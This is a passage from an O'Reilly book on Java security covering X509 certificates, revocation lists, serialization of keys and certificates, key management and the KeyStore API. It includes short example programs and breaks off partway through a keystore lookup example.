Verify that the certificate is valid. In order to verify a certificate, you must have the public key of the certificate authority that issued it; a valid certificate is one in which the signature of the certificate authority is valid. A valid certificate does not imply anything about the trustworthiness of the certificate authority or the subject to which the certificate belongs; it merely means that the signature in the certificate is valid for the supplied public key. If the certificate is invalid, this method throws a CertificateException.

The signature is verified according to the digital signature details we'll examine in Chapter 12, "Digital Signatures". The process of creating an object to verify the digital signature as well as the actual verification of the signature may thrown a NoSuchProviderException, a NoSuchAlgorithmException, an InvalidKeyException, or a SignatureException.

public abstract PublicKey getPublicKey() figure

Extract the public key from the certificate--that is, the key that belongs to the subject the certificate vouches for.

These are the basic operations that are valid for any certificate. Notice that while we can encode a certificate into a byte array in order to transmit the certificate, there is nothing in the basic API that allows us to create a certificate from such a byte array. In fact, there's no practical way to instantiate a certificate object at all; the Certificate class is usually used as a base class from which individual certificate types are derived. Fortunately, the next class allows us to import certificates.

10.4.2. The CertificateFactory Class

If you need to import a certificate into a program, you do so by using the CertificateFactory class (java.security.cert.CertificateFactory). That class is an engine class, and it has the following interface:

public static CertificateFactory getInstance(String type) figure
public static CertificateFactory getInstance(String type, String provider) figure

Return a certificate factory that may be used to import certificates of the specified type (optionally implemented by the given provider). A CertificateException will be thrown if the given factory cannot be found or created; if the given provider is not found, a NoSuchProviderException will be thrown. The default Sun security provider has one certificate factory that works with certificates of type X509.

public String getProvider() figure

Return the provider that implemented this factory.

public String getType() figure

Return the type of certificates that this factory can import.

public final Certificate generateCertificate(InputStream is) figure

Return a certificate that has been read in from the specified input stream. For the default Sun security provider, the input stream must be an X509 certificate in RFC 1421 format (that is, a DER-encoded certificate that has been translated into 7-bit ASCII characters); this is the most common format for transmission of X509 certificates.

public final Collection generateCertificates(InputStream is) figure

Return a collection of certificates that have been defined in the given input stream. For the default Sun provider, the input stream in this case may have a single RFC 1421 formatted certificate, or it may contain a certificate chain in PKCS#7 format.

public final CRL generateCRL(InputStream is) figure

Define a certificate revocation list from the data in the input stream.

public final Collection generateCRLs(InputStream is) figure

Define a collection of CRLs from the data in the input stream.

Note that the CertificateFactory class cannot generate a new certificate--it may only import a certificate from an input stream. This is one reason why it's hard to provide a certificate authority based solely on the standard Java API. In the next section, we'll see an example of reading a certificate through this interface.

The CertificateFactory is an engine class, so it has a companion SPI class--the CertificateFactorySpi class--that can be used if you want to implement your own certificate factory. Implementing such a class follows the familiar rules of engine classes: you must define a constructor that takes the type name as a parameter and then, for each of the public methods listed above, you must implement a corresponding engine method with the same parameters. Certificates are complicated things, and parsing their encoding is a complicated procedure, so we won't bother showing an example of the engine class.

10.4.3. The X509Certificate Class

As we mentioned, there are many certificate formats that could be in use by a key management system; one of the most common of these is the X509 format. X509 has gone through a few revisions; the version supported by the Java API is version 3. This format is an ANSI standard for certificates, and while there are PGP and other certificate formats in the world, the X509 format is dominant. This is the only format of certificate for which Java provides a standard API; if you want to support another certificate format, you must implement your own subclass of Certificate.

The X509Certificate class (java.security.cert.X509Certificate) is defined as follows:

public abstract class X509Certificate extends Certificate implements X509Extension figure

Provide an infrastructure to support X509 version 3 formatted certificates.

An X509 certificate has a number of properties that are not shared by its base class:

  • A start and end date: An X509 certificate is valid only for a certain period of time, as specified by these dates.

  • A version: Various versions of the X509 standard exist; the default implementation of this class supports version 3 of the standard.

  • A serial number: Each certificate that is issued by a certificate authority must have a unique serial number. The serial number is only unique for a particular authority, so that the combination of serial number and certificate authority guarantee a unique certificate.

  • The distinguished name[4] of the certificate authority.

    [4]See the sidebar "What's in a Name?" in Chapter 11, "Key Management" for an explanation of distinguished names.

  • The distinguished name of the subject represented by the certificate.

These properties can be retrieved with the following set of methods:

public abstract void checkValidity() figure
public abstract void checkValidity(Date d) figure

Check that the specified date (or today if no date is specified) is within the start and end dates for which the certificate is valid. If the specified date is before the start date of the certificate, a CertificateNotYetValidException is thrown; if it is after the end date of the certificate, a CertificateExpiredException is thrown.

public abstract int getVersion() figure

Return the version of the X509 specification that this certificate was created with. For the Sun implementation, this will be version 3.

public abstract BigInteger getSerialNumber() figure

Return the serial number of the certificate.

public abstract Principal getIssuerDN() figure

Extract the distinguished name of the certificate authority from the certificate and use that name to instantiate a principal object.

public abstract Principal getSubjectDN() figure

Extract the distinguished name of the subject entity in the certificate and use that name to instantiate a principal object.

public abstract Date getNotBefore() figure

Return the first date on which the certificate is valid.

public abstract Date getNotAfter() figure

Return the date after which the certificate is invalid.

From a programmatic view, these are the most useful of the attributes of a certificate. If your X509 certificate is contained in the file sdo.cer, you could import and print out information about the certificate as follows:

Class Definition

public class PrintCert {
    public static void main(String args[]) {
        try {
            FileInputStream fr = new FileInputStream("sdo.cer");
            CertificateFactory cf =
                       CertificateFactory.getInstance("X509");
            X509Certificate c = (X509Certificate)
                                cf.generateCertificate(fr);
        System.out.println("Read in the following certificate:");
            System.out.println("\tCertificate for: " +
                                     c.getSubjectDN());
            System.out.println("\tCertificate issued by: " +
                                     c.getIssuerDN());
            System.out.println("\tThe certificate is valid from " +
                        c.getNotBefore() + " to " + c.getNotAfter());
            System.out.println("\tCertificate SN# " +
                                     c.getSerialNumber());
            System.out.println("\tGenerated with " +
                                     c.getSigAlgName());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Running this program would produce the following output:

Class Definition

Read in the following certificate:
    Certificate for:
        CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=NY, S=NY, C=US
    Certificate issued by:
        CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=NY, S=NY, C=US
    The certificate is valid from Sun Oct 19 11:40:24 EDT 1997 to
        Sat Jan 17 10:40:24 EST 1998
    Certificate SN# 3895020084
    Generated with SHA1withDSA

10.4.4. Advanced X509Certificate Methods

There are a number of other methods of the X509Certificate class. For the purposes of this book, these methods are not generally useful; they enable you to perform more introspection on the certificate itself. We'll list these methods here simply as a matter of record.

public abstract byte[] getTBSCertificate() figure

Get the DER-encoded TBS certificate. The TBS certificate is the body of the actual certificate; it contains all the naming and key information held in the certificate. The only information in the actual certificate that is not held in the TBS certificate is the name of the algorithm used to sign the certificate and the signature itself.

The TBS certificate is used as the input data to the signature algorithm when the certificate is signed or verified.

public abstract byte[] getSignature() figure

Get the raw signature bytes of the certificate. These bytes could be used to verify the signature explicitly (e.g., using the methods we'll describe in Chapter 12, "Digital Signatures") instead of relying upon the verify() method to do so.

public abstract String getSigAlgName() figure

Return the name of the algorithm that was used to sign the certificate. For the Sun implementation, this will always be SHA1withDSA.

public String getSigAlgOID() figure

Return the OID of the signature algorithm used to produce the certificate.

public abstract byte[] getSigAlgParams() figure

Return the DER-encoded parameters that were used to generate the signature. In general, this will return null, since the parameters are usually specified by the certificate authority's public key.

public abstract byte[] getIssuerUniqueID() figure

Return the unique identifier for the issuer of the certificate. The presence of a unique identifier for each issuer allows the names to be reused, although in general it is recommended that certificates not make use of the unique identifier.

public abstract byte[] getSubjectUniqueID() figure

Return the unique identifier for the subject of the certificate (again, this is unused in general).

public abstract BitSet getKeyUsage() figure

Return the key usage extension, which defines the purpose of the key: the key may be used for digital signing, nonrepudiation, key encipherment, data encipherment, key agreement, certificate signing, and more. The key usage is an extension to the X509 specification and need not be present in all X509 certificates.

public abstract int getBasicConstraints() figure

An X509 certificate may contain an optional extension that identifies whether the subject of the certificate is a certificate authority. If the subject is a CA, this extension returns the number of certificates that may follow this certificate in a certification chain.

10.4.5. Revoked Certificates

Occasionally, a certificate authority needs to revoke a certificate it has issued--perhaps the certificate was issued under false pretenses, or maybe the user of the certificate has engaged in illegal conduct using the certificate. Under circumstances such as these, the expiration date attached to the certificate is insufficient protection; the certificate must be immediately invalidated.

This invalidation occurs as the result of a CRL--a certificate revocation list. Certificate authorities are responsible for issuing certificate revocation lists that contain (predictably) a list of certificates the authority has revoked. Validators of certificates are required to consult this list before accepting the validity of a certificate.

Unfortunately, the means by which an authority issues a CRL is one of those areas that is in flux, and while the interfaces to support revoked certificates have been established, they are not completely integrated into most certificate systems. In particular, the validate() method of the Certificate class does not automatically consult any CRL. The CRL itself is typically obtained in an out-of-band fashion (just as the certificates of the authority were obtained); once you have a CRL, you can check to see if a particular certificate in which you are interested is on the list.

While the notion of revoked certificates in not necessarily specific to an X509 certificate, the Java implementation is. Revoked certificates themselves are represented by the X509CRLEntry class (java.security.cert.X509CRLEntry):

public abstract class X509CRLEntry implements X509Extension figure

The methods of this class are simple and are based upon the fields present in a revoked X509 certificate:

public abstract BigInteger getSerialNumber() figure

Return the serial number of the revoked certificate.

public abstract Date getRevocationDate() figure

Return the date on which the certificate was revoked.

public abstract boolean hasExtensions() figure

Indicate whether the implementation of the class has any X509 extensions.

Revoked certificates are modeled by the X509CRL class (java.security.cert.X509CRL):

public abstract class X509CRL implements X509Extension figure

Provide the support for an X509-based certificate revocation list.

Instances of the X509CRLEntry class are obtained by the getInstance() method of the CertificateFactory. Once the class has been instantiated, you may operate upon it with these methods. As you can see, there is a strong synergy between the methods that are used to operate upon an X509 certificate and those used to operate upon a CRL:

public abstract void verify(PublicKey pk) figure
public abstract void verify(PublicKey pk, String sigProvider) figure

Verify that the signature that accompanied the CRL is valid (based on the standard signature verification we'll look at in Chapter 12, "Digital Signatures"). The public key should be the public key of the certificate authority that issued the CRL.

An error in the underlying signature object may generate a NoSuchAlgorithmException, a NoSuchProviderException, an InvalidKeyException, or a SignatureException.

public abstract int getVersion() figure

Return the version of the CRL. The present version of the X509 CRL specification is 2.

public abstract Principal getIssuerDN() figure

Extract the distinguished name of the issuer of the CRL and return a principal object that contains that name.

public abstract Date getThisUpdate() figure

Extract and return the date when the authority issued this CRL.

public abstract Date getNextUpdate() figure

Extract and return the date when the authority expects to issue its next CRL. This value may not be present in the CRL, in which case null is returned.

public abstract X509CRLEntry getRevokedCertificate(BigInteger bn) figure

Instantiate and return a revoked certificate object based on the given serial number. If the serial number is invalid, a CRLException is thrown.

public abstract Set getRevokedCertificates() figure

Instantiate a revoked certificate object for each certificate in the CRL and return the set of those objects. This method may throw a CRLException.

public abstract byte[] getEncoded() figure

Return the DER-encoded CRL itself. This method may throw a CRLException.

public abstract byte[] getTBSCertList() figure

Return the DER-encoded TBS certificate list--that is, all the data that came with the CRL aside from the name of the algorithm used to sign the CRL and the digital signature itself. This data can be used to verify the signature directly. Parsing of the underlying data may throw a CRLException or an X509ExtensionException.

public abstract byte[] getSignature figure

Return the actual bytes of the signature.

public abstract String getSigAlgName() figure

Return the name of the signature algorithm that was used to sign the CRL.

public abstract String getSigAlgOID() figure

Return the OID string of the signature algorithm that was used to sign the CRL.

public abstract byte[] getSigAlgParams() figure

Return the DER-encoded algorithms used in the signature generation. This generally returns null, as those parameters (if any) usually accompany the authority's public key.

There is one more method of the X509CRL class, which it inherits from its superclass, the CRL class (java.security.cert.CRL):

public abstract boolean isRevoked(Certificate c) figure

Indicate whether or not the given certificate has been revoked by this CRL.

When all is said and done, the point of the CRL class (and the revoked certificate class) is to provide you with the tools necessary to see if a particular certificate has been invalidated. This checking is up to your application to perform; you might choose to implement it as follows:

Class Definition

public Certificate importCertificate(byte data[])
                                    throws CertificateException {
    X509Certificate c = null;
    try {
        CertificateFactory cf = CertificateFactory.getInstance("X509");
        ByteArrayInputStream bais = new ByteArrayInputStream(data);
        c = (X509Certificate) cf.generateCertificate(bais);
        Principal p = c.getIssuerDN();
        PublicKey pk = getPublicKey(p);
        c.verify(pk);
        InputStream crlFile = lookupCRLFile(p);
        cf = CertificateFactory.getInstance("X509CRL");
        X509CRL crl = (X509CRL) cf.generateCRL(crlFile);
        if (crl.isRevoked(c))
            throw new CertificateException("Certificate revoked");
    } catch (NoSuchAlgorithmException nsae) {
        throw new CertificateException("Can't verify certificate");
    } catch (NoSuchProviderException nspe) {
        throw new CertificateException("Can't verify certificate");
    } catch (SignatureException se) {
        throw new CertificateException("Can't verify certificate");
    } catch (InvalidKeyException ike) {
        throw new CertificateException("Can't verify certificate");
    } catch (CRLException ce) {
        // treat as no crl
    }
    return c;
}

This method encapsulates importing a certificate and checking its validity. It is passed the DER-encoded data of the certificate to check (this data must have been read from a file or other input stream, as we showed earlier). Then we consult the certificate to find out who issued it, obtain the public key of the issuer, and validate the certificate. Before we return, however, we obtain the latest CRL of the issuing authority and ensure that the certificate we're checking has not been revoked; if it has been, we throw a CertificateException.

We've glossed over two details in this method: how we obtain the public key of the authority that issued the certificate, and how we get the CRL list associated with that authority. Implementing these methods is the crux of a key/certificate management system, and we'll show some ideas on how to implement the key lookup in Chapter 11, "Key Management". Obtaining the CRL is slightly more problematic, since you must have access to a source for the CRL data. Once you have that data, however, it's trivial to create the CRL via the generateCRL() method.

Previous | Home | Next
10.3. The KeyFactory Class | Book Index | 10.5. Keys, Certificates, and Object Serialization
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Keys, Certificates, and Object Serialization (Java Security)

 Java Security Search this book

10.5. Keys, Certificates, and Object Serialization

Before we conclude this chapter, a brief word on object serialization, keys, and certificates. Keys and certificates are often transmitted electronically, and a reasonable mechanism for transmitting them between Java programs is to send them as serialized objects. In theory--and, most of the time, in practice--this is a workable solution. If you modify some of the examples in this chapter to save and restore serialized keys or certificates, that will certainly work in a testing environment.

A problem arises, however, when you send these serialized objects between virtual machines that have two different security providers. Let's take the case of a DSA public key. When you create such a key with the Sun security provider, you get an instance of the sun.security.provider.DSAPublicKey class. When you create such a key with a third-party security provider, you may get an instance of the com.xyz.XYZPublicKey class. Although both public keys are extensions of the PublicKey class, they cannot be interchanged by object serialization. Serializing a public key created with the Sun security provider requires that the sun.security.provider.DSAPublicKey class be used, and deserialization creates an object of that type, no matter what security providers the deserializing virtual machine has installed. Whether or not the Sun security provider has been installed in the destination virtual machine is irrelevant. The process of deserializing the object uses that class if it is available, and deserialization fails if that class is not available.

Hence, while they are serializable objects, keys and certificates should only be transmitted as encoded data. For keys, you also have the option of transmitting the data contained in the key specification as we did earlier; the key specification classes are not serializable themselves, so you still have to rely on transmitting only the data that those objects contain.

This rule applies not only to keys and certificates that stand alone, but also to classes that embed one of those objects. Take, for example, this class:

Class Definition

public class Message implements Serializable {
    String msg;
    X509Certificate cert;
    byte signature[];
}

If you want to send an object of this class to a remote virtual machine (or save the object to a file), you should override the writeObject() and readObject() methods of the class so that when it is transmitted, the certificate is transmitted only as its encoded data and not as an instance of the sun.security.x509.X509CertImpl class. We'll do just that in Chapter 12, "Digital Signatures".

Previous | Home | Next
10.4. Certificates | Book Index | 10.6. Summary
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Summary (Java Security)

 Java Security Search this book

10.6. Summary

Keys are a basic feature of any cryptographic system; they provide one of the inputs required to produce a digital signature (as well as other potential cryptographic operations). In this chapter, we looked at the basic classes that implement the notion of a key within the Java security package.

Keys are closely tied to the notion of certificates; a certificate contains a public key as well as an assurance from some known entity that the public key belongs to a specific entity. In a general sense, there are a great many things you can do with certificates, but for our purposes, we're interested in certificates only from the perspective of the certificate's user--that is, we want to be able to import and verify a certificate, but we're not too interested in creating our own certificates or in becoming a certificate authority.

Given that the operations we want to perform on keys and certificates are simple--importing and exporting those certificates--you'd expect that we could leave our discussion of keys for the time being. Unfortunately, the topic of finding a key for a particular entity (which is really just a case of importing a key) is a particularly troublesome topic, which we'll examine in the next chapter.

Previous | Home | Next
10.5. Keys, Certificates, and Object Serialization | Book Index | 11. Key Management
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Key Management (Java Security)

 Java Security Search this book

Chapter 11. Key Management

Contents:

Overview of Key Management
The KeyStore Class
A Key Management Example
Summary

In this chapter, we're going to discuss key management, and the facilities in Java that enable key management. The problem of key management turns out to be a hard one to solve: there is no universally accepted approach to key management, and although many features in Java (and on the Internet) are available to assist with key management, all key management techniques remain very much works in progress.

The fluidity of key management is evident in the progress of Java itself. Key management with the 1.1 API is very different from key management in 1.2.[1] Further complicating this picture is the fact that no Java-enabled browser (including HotJava, but not including the Java Plug-In) uses the technique for key management that comes with the JDK. Each requires keys to be kept in a different key database, and each uses a different technique to store and retrieve keys from that application-specific database. Key management remains application-specific.

[1]1.2 is now Java 2.

In this chapter, we'll discuss the basic features of Java that are available for key management, including the default key management features of the JDK. We'll conclude with an example of implementing your own key management system. The key management features we're going to discuss apply primarily to Java 1.2. If you must implement a key management system under Java 1.1, you'll need to use the IdentityScope class as discussed in Appendix B, "Identity-Based Key Management". The IdentityScope class has been deprecated in 1.2.

11.1. Overview of Key Management

Keys are important to Java's security model because they allow us to create or verify a digital signature. In the sandbox model, we usually think of the use of digital signatures in the context of a signed JAR file. When a JAR file is signed, we are assured that the classes contained in that file were actually provided by the entity (the person or corporation) that signed the JAR file. This allows us to grant privileges to the signed classes because we know that the classes have not been forged by a third party. Of course, digital signatures have many other uses in a particular application.

We'll discuss the details of digital signatures in Chapter 12, "Digital Signatures". For now, it's enough to know that a digital signature is created with a private key, then transferred electronically (along with the data it signed). When the digital signature is received, it must be verified, which requires a public key that corresponds to the private key that generated the signature.

The purpose of a key management system is two-fold. When you need to digitally sign something, the key management system must provide your private key for the code that creates the digital signature. When you need to verify a digital signature, the key management system must provide the public key that will be used for verification. A key management system may encompass other operations (it may, for example, provide information about the degree to which a particular individual should be trusted), but it exists primarily to serve up keys.

Hence, there are three elements of a key management system:

Keys

The keys in a key management system can be used for several cryptographic operations, but in general we will use them to sign data, such as a JAR file. An entity in the key management database can have no keys, a public key, or both a public key and a private key.

Certificates

Certificates are used to verify that the association between a public key and an entity is valid. Verification of a digital signature requires the public key that belongs to the entity that created the digital signature; a certificate verifies that the public key itself has not been forged and does indeed belong to the desired identity.

Identities

Identities are an abstraction of individuals, companies, or any other entity that might have a key. The purpose of a key management system is to associate identities with their keys. This association must be stored somewhere; we refer to the database in which these associations are stored as the key database or the keystore.

Java 1.1 comes with a key management system that is based upon the javakey utility. Javakey has several limitations; in particular, it stores public and private keys in the same, unprotected location (often called an identity database). This allows anyone with access to the javakey database to determine all the keys that were stored in the file. Since access is required to obtain your own private key to generate your own digital signature, this essentially gives all users access to each other's keys. This problem was a limitation of the javakey utility itself. It's possible to use the 1.1 classes to write a key database in such a way that your private key is held separately from a group of public keys (see Appendix B, "Identity-Based Key Management").

The javakey utility was an interim solution to the key management problem; it is no longer available. In 1.2, javakey has been replaced by a new utility called keytool. Keytool is a much better tool, in that individual private and public keys can be stored in the same database, and retrieval of each key can be made subject to a password. The keytool database is often referred to as the keystore.

Unfortunately, the default implementation of the keytool database still has certain limitations; in particular, it is difficult to share the keys in a keytool database among a widely dispersed group of people (like all the employees of XYZ Corporation). We can, however, use the framework that the keytool database uses to create a key management system that has whatever features we require.

That framework is the ultimate goal of this chapter. First, however, let's take a brief look at the notion of the identity to whom a key belongs. In Java's key management model, the association between a key and its owner is application-specific. There is an Identity class in Java that was used for this purpose in 1.1, but it has been deprecated (because, among other things, it used the wrong Certificate class). However, there is still one interface that can be useful in your own applications that use keys: the Principal interface.

11.1.1. Principals

Classes that are concerned with identities and key management in the Java security package generally implement the Principal interface (java.security.Principal):

public interface Principal

Provide an interface that supports the notion of an entity. In particular, principals have a name, but little else.

There is a single method that implementors of the Principal interface must implement:

public String getName()

Return the name of the principal. This is typically an X.500 distinguished name, but it may be any arbitrary name.

The only idea that the Principal interface abstracts is that principals have a name. The Java documentation claims that a principal is anything that can have an identity, but don't be confused by that statement; the word "identity" is being overloaded in this context. The deprecated Identity class is a principal, but there are classes implementing the Principal interface that are unrelated to the Identity class.

What's in a Name?

X509 certificates (and many other ANSI standards) make use of the idea of a distinguished name (usually referred to as a DN). The distinguished name of an individual includes these fields:

Common Name (CN)

The (full) common name of the individual

Organizational Unit (OU)

The unit the individual is associated with

Organization (O)

The organization the individual is associated with

Location (L)

The city where the individual is located

State (S)

The state/province where the individual is located

Country (C)

The country where the individual is located

The DN specification allows other fields as well, although these are the fields used internally in Java. The organization that is associated with an individual is typically the company the individual works for, but it can be any other organization (and of course, you may not be associated with an organization under a variety of circumstances).

The idea behind a DN is that it limits to some extent name duplication. There are other Scott Oakses in the world, but only one who has a DN of:

Class Definition

CN=Scott Oaks, OU=SMCC, O=Sun Microsystems, L=NY, S=NY, C=US

On the other hand, this is not absolute; there are many non-unique DNs.

Further confusion about this interface can arise because there are two principal objects in Java 1.2: the java.security.Principal interface (introduced in 1.1), and the org.omg.CORBA.Principal class (introduced in 1.2). These classes are unrelated, and we'll discuss only the java.security.Principal interface throughout this book.

The name that is stored in a principal is often an X.500 distinguished name (DN). That is particularly true when a principal is used in certain certificates (like X509 certificates); it is not an absolute requirement by any means.

There are other methods listed in the Principal interface--namely, the equals(), toString(), and hashCode() methods. There's no reason for those methods to be listed in the Principal interface, since every class already inherits those methods from the Object class. If you implement the Principal interface, the only method you must implement is the getName() method. You should make sure that the other methods of the Principal interface are implemented correctly--but you should ensure that these methods of the Object class are implemented correctly for all your classes, not just those that implement the Principal interface.

Previous | Home | Next
10.6. Summary | Book Index | 11.2. The KeyStore Class
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The KeyStore Class (Java Security)

 Java Security Search this book

11.2. The KeyStore Class

Now that we understand the pieces that make up a key management system, we can look at the topic of key management itself. From an administrative perspective, the primary tool that provides key management for Java 1.2 is the keytool utility. Keytool operates upon a file (or other storage system) containing a set of private keys and certificates for those keys. The keytool file contains a set of entries; each entry may have the following attributes:

  • An alias. This is a name you can use to reference the entity in the database. For example, an alias for my entry might be sdo, or ScottOaks.

  • One or more certificates that vouch for the identity of the entry. These certificates also provide the public key for the entry.

  • Optionally, a private key. If present, the private key can be protected by a password.

We'd be tempted to call the entries in this database identities, but that's potentially confusing: the entries stored in the keytool database are not instances of the Identity class (although we could create an identity object based on the information retrieved from the database).

Figure 11-1 shows the role of the keytool database in the creation and execution of a signed JAR file. The jarsigner utility consults the keytool database for the private key of the entity that is signing the JAR file. Once the signed JAR file is produced, it is placed on a web server, where it can be downloaded into an appletviewer or other Java-enabled browser.[2] When the JAR file is read on the remote system, the keytool database is consulted in order to retrieve the public key of the entity that signed the JAR file so that the JAR file's signature can be verified.

[2]As we mentioned, however, Netscape Navigator, Internet Explorer, and HotJava at present all use a different key management system than the keytool database, so the appletviewer is the best example here.

Figure 11-1. The keytool database in a signed JAR file

Note that the two keytool databases in this example are (probably) separate databases, on separate machines. They probably have completely different entries as well--even for the entry that represents the signer. The signer's entry in her own database must have the private key of the signer, while the signer's entry in the user's database needs only a certificate (public key) for the signer. However, the keytool database could (in this and all examples) be a shared database--but more about that later. The default keytool database is the file .keystore that is held in the user's home directory.

The class that implements the keytool database is the KeyStore class (java.security.KeyStore):

public class KeyStore figure

Represent a set of private keys, aliases (entities), and their corresponding certificates. A keystore object is typically one that has been read in from disk; that is, the keystore object is an in-memory representation of the keytool database.

The KeyStore class is an engine class; there is a corresponding KeyStoreSpi class that you can use to write your own keystore (more about that a little later). By default, the Sun security provider implements a keystore called JKS (for Java KeyStore). Hence, instances of the KeyStore class are predictably obtained via this method:

public static final KeyStore getInstance(String type) figure
public static final KeyStore getInstance(String type, String provider) figure

Return an instance of the KeyStore class that implements the given algorithm, supplied by the given provider, if applicable. In the Sun security provider, the default algorithm name is "JKS".

If you do not want to hardwire the name of the keystore algorithm into your application, you may use this method to return the string that should be passed to the getInstance() method:

public static final String getDefaultType() figure

Return the default keystore algorithm for the environment. This value is obtained by looking for a property called keystore.type in the java.security file.

When the keystore object is created, it is initially empty. Although the getInstance() method has constructed the object, it is not expected that the object's constructor will read in a keystore from any particular location. The interaction between the keystore object and the keytool database comes via these two methods:

public final void load(InputStream is, char[] password) figure

Initialize the keystore from the data provided over the given input stream. The integrity of the keystore is typically protected by using a message digest: when the keystore is stored, a message digest that represents the data in the keystore is also stored. Before the digest is created, the password is added to the digest data; this means that the digest cannot be re-created from a tampered keystore without knowledge of the password. The password for this method can be null, in which case the keystore is loaded and not verified.

This use of the password is a property of the Sun implementation of the KeyStore class; the password could be used for anything else (including encrypting the entire keystore) if you were to write your own implementation. To call this parameter a password is somewhat misleading (although that's what the javadoc documentation calls it), since Sun's implementation lets you read the entire keystore without it. The Sun implementation of the KeyStore class requires another password to access each private key in the keystore, so this isn't a potential security hole; all you're reading is public certificates.

You cannot require a password for load() to succeed, since the Sun implementation of the Policy class calls this method without a password when it constructs the information needed for the access controller. You may, of course, provide your own implementation of the Policy class that provides a password if desired.

In the Sun implementation, if the class required to support the underlying message digest is not available, a NoSuchAlgorithmException is thrown. An error in reading the data results in an IOException, and generic format errors in the data result in a CertificateException.

public final void store(OutputStream os, char[] password) figure

Store the keystore to the given output stream. The password is typically included in a digest calculation of the keystore; this digest is then written to the output stream as well (but again, your own implementation of this class could use the password differently).

The Sun implementation of this method may throw an IOException if the output stream cannot be read, a NoSuchAlgorithmException if the class used to create the digest cannot be found, or a CertificateException if the keystore object contains a certificate that cannot be parsed.

There is no default file that holds the keystore. Within the core Java API, the only class that opens the keystore is PolicyFile, and that opens the keystore that is listed in the java.policy file. The tools that use the keystore (the jarsigner and keytool tools) allow you to use a command-line argument to specify the file that contains the keystore; by default, that file is .keystore in the user's home directory. This is the convention your own programs will need to use. If your application needs to open the keystore (for example, to obtain a private key to sign an object), it should provide either a command-line argument or a property to specify the name of the file to open. By convention, we'll use the .keystore file in the user's home directory in our examples.

While we mentioned that the keystore may not be encrypted, the private keys themselves typically are encrypted so that if someone gains access to the keystore file, they do not have access to the private keys in that file without the password used to encrypt those keys. If you provide a keystore implementation that supplies keys from a protected location, you do not necessarily need to store the private keys in encrypted format. When private keys are delivered over the network, you probably want to make sure that the transmission of those keys is encrypted so that no one can snoop the network and discover the private key.

A keystore is arranged in terms of alias names. Aliases are arbitrarily assigned to an entry; while the name embedded in the certificate for a particular entry may be a long, complicated, distinguished name, the alias for that entry can provide a shorter, easier-to-remember name. There are a number of simple methods in the KeyStore class that deal with these alias names:

public final String getType() figure

Return the name of the algorithm that this keystore implements.

public final String getProvider() figure

Return the name of the provider that supplied this keystore implementation.

public final Date getCreationDate(String alias) figure

Return the date on which the entry referenced by the given alias was created.

public final void deleteEntry(String alias) figure

Delete the entry referenced by the given alias from the keystore.

public final Enumeration aliases() figure

Return an enumeration of all the aliases in the keystore.

public final boolean containsAlias(String alias) figure

Indicate whether the keystore contains an entry referenced by the given alias.

public final int size() figure

Return the number of entries/aliases in the keystore.

Note that this list has a method to delete an entry but not one to create an entry--creating an entry in the keystore depends upon the type of entry you want to create.

The keystore holds two types of entries: certificate entries and key entries. A certificate entry is an entry that contains only a public key (encapsulated in a certificate) and can be used only to verify a digital signature, while a key entry is an entry that contains both a private and a public key and can be used to create and to verify a digital signature. Hence, you may think of a key entry as a signer and a certificate entry as an identity, although those classes are not used in the keystore interface (they may be used in the keystore implementation).

There are two basic differences between key entries and certificate entries:

  • A key entry contains a private key, while a certificate entry does not.

  • A key entry may contain a chain of certificates that verifies it, while a certificate entry contains a single certificate.

For a given alias, you can determine what type of entry it represents via these two methods:

public final boolean isKeyEntry(String alias) figure
public final boolean isCertificateEntry(String alias) figure

Indicate whether the given alias represents a key entry or a certificate entry.

For a given alias, you cannot retrieve an object that represents the entire entry. You may use these methods to retrieve information about the entry represented by an alias:

public final Key getKey(String alias, char[] password) figure

Return the private key for the entry associated with the given alias. For a certificate entry, this method returns null. An UnrecoverableKeyException is thrown if the key cannot be retrieved (e.g., if the key has been damaged).

Retrieving a private key typically requires a password; this may or may not be the same password that was used to read the entire keystore. This allows private keys to be stored encrypted so they cannot be read without the appropriate password. If the class that provides encryption cannot be found, this method throws a NoSuchAlgorithmException.

public final Certificate[] getCertificateChain(String alias) figure

Return the certificate chain that verifies the entry associated with the given alias, which must represent a key entry. For an alias that represents a certificate entry, this method returns null.

public final Certificate getCertificate(String alias) figure

Return the certificate associated with the given alias. If the alias represents a key entry, the certificate returned is the user's certificate (that is, the first certificate in the entry's certificate chain); certificate entries have only a single certificate.

public final String getCertificateAlias(Certificate cert) figure

Return the alias that corresponds to the entry that matches the given certificate (using the equals() method of certificate comparison). If no matches occur, null is returned.

Finally, in order to create or modify an entry, you may use one of these methods. All of these methods create a new entry if the given alias does not exist:

public final void setKeyEntry(String alias, byte key[], Certificate chain[]) figure
public final void setKeyEntry(String alias, Key k, char[] password, Certificate chain[]) figure

Assign the given private key and certificate chain to the key entry represented by the given alias, creating a new key entry if necessary. Any previous private key and certificate chain for this entry are lost; if the previous entry was a certificate entry, it now becomes a key entry.

A KeyStoreException is thrown if the key entry cannot be encrypted by the internal encrypting algorithm of the keystore. In the Sun implementation, when the key is passed in as a series of bytes, it is not encrypted--in this case, you are expected to have performed the encryption yourself.

public final void setCertificateEntry(String alias, Certificate c) figure

Assign the given certificate to the certificate entry represented by the given alias. If an entry for this alias already exists and is a key entry, a KeyStoreException is thrown. Otherwise, if an entry for this alias already exists, it is overwritten.

These are the basic methods by which we can manage a keystore. We'll see examples of many of these methods throughout the rest of this book; for now, let's look at a simple example that looks up a given entry in the keystore:

Class Definition

public class KeyStoreLookup {
    public static void main(String args[]) {
        try {
            KeyStore ks =
                      KeyStore.getInstance(KeyStore.getDefaultType());
            String fname = System.getProperty("user.home") +
                                File.separator + ".keystore";
            FileInputStream fis = new FileInputStream(fname);
            ks.load(fis, null);
            if (ks.isKeyEntry(args[0])) {
                System.out.println(args[0] +
                                " is a key entry in the keystore");
                char c[] = new char[args[1].length()];
                args[1].getChars(0, c.length, c, 0);
                System.out.println("The private key for" + args[0] +
                            " is " + ks.getKey(args[0], c));
                Certificate certs[] = ks.getCertificateChain(args[0]);
                if (certs[0] instanceof X509Certificate) {
                    X509Certificate x509 = (X509Certificate) certs[0];
                    System.out.println(args[0] + " is really " +
                        x509.getSubjectDN());
                }
                if (certs[certs.length - 1] instanceof
                                     X509Certificate) {
